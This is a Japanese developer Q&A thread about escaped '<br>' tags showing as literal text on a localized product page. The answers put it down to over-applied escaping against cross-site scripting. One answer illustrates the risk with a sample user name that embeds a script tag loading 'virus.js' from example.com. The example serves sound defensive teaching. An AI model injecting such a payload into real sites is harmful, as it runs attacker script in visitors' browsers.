HTMLでのエンコード不具合について、どう対処していけばよいのか、教えてください

Question

###前提・実現したいこと

HTMLでエンコード不具合が発生してしまったときの対処方法を知りたい。

###発生している問題・エラーメッセージ

当方、絵を描くのが好きで、本日も以下のサイトを見ておりましたところ、
以下のように、文字情報の中に<br>が出現してしまっている事象を発見しました。

【サイト】 SKETCH BOOK MOTION
【URL】 https://www.sketchbook.com/motion

海外の会社さんのようなので、日本語としてローカライズするときに、起きてしまう問題なのか、
気になりまして質問させて頂ければ幸いです。

以下のソースコードは、ダウンロードしてきたデータのものです。

###該当のソースコード

<h2 class="" style="opacity: 1; transform: translateY(0px);">ドローイングに命を&lt;br&gt;吹き込む</h2>
      <p class="" style="opacity: 1; transform: translateY(0px);">美しいアニメーション シーンを作成&lt;br&gt;したり、簡単な、あるいは複雑な&lt;br&gt;コンセプトを表現したり、ただ絵を&lt;br&gt;描くことを楽しんだりできます。</p>

###試したこと

・デベロッパーツールで、<br>箇所を半角英数で打ち込んでみましたが、表示に変化なしでした。
・Web情報をダウンロードして、htmlファイルを開くと、「<br>」が「<br>」と表示されており、文字化けているのだと確認できました。（charset=UTF-8で書かれていました）

###著作権について

自作のサイトでないものの中で気になったという情報なので、著作権的にどういう扱いになるのかわかりません。
該当のURL等がないと質問がわかりにくくなってしまうため、掲載しましたが、このような場合どうするのがベストかわからないので、ご回答頂きました後は、該当箇所を修正したいと考えておりますｍ（_ _）ｍ

Comments

[otn]

これは文字化けじゃないです。

[piyo-piyo]

otnさま、「文字化け」を「エンコード不具合」に修正させて頂きました。ご指摘ありがとうございました＾＾

Answer 1

それは多分そのサイトの作り方のミスだと思います。

クロスサイトスクリプティング防止などのセキュリティ対策のための HTML エンコードが意図しないところにまで及んでいるのでしょう。閲覧者側では何ともなりません。

Comments

[piyo-piyo]

SurferOnWwwさん、
ご回答ありがとうございました。
セキュリティ対策の余波とは、考えもつきませんでした！
教えて頂き、ありがとうございます。

Answer 2

SurferOnWwwさんの回答が全てですが、もう少し噛み砕いてみます。

例えばあるサイトで会員登録する際に、悪意のあるユーザーが登録する名前を

悪意 太郎<script src="http://example.com/virus.js"></script>

とかしてた場合
このままWEB画面に表示してしまうと、悪意のあるJavaScriptが実行されてしまったりします。
こういったことを防ぐために、タグ文字である「< >」をエンコードするのが、入力情報を受け付ける際の必須技術となっています。

質問にあるサイトでも、恐らくCMSツール等を使って画面の構築を行ったりしており、その際に改行させようと入力したタグがエンコードされてしまったものなどではないかと思われます。
つまり、これを修正出来るのはサイト側だけであり、サイトに訪れたユーザー側で何とか出来る問題ではありません。

Comments

[piyo-piyo]

kunaiさん、
詳しくお教えくださり、ありがとうございます。
JavaScriptがそのような影響を及ぼすとは、Web制作を学ぶ者として、気をつけて学習していきたいと思います！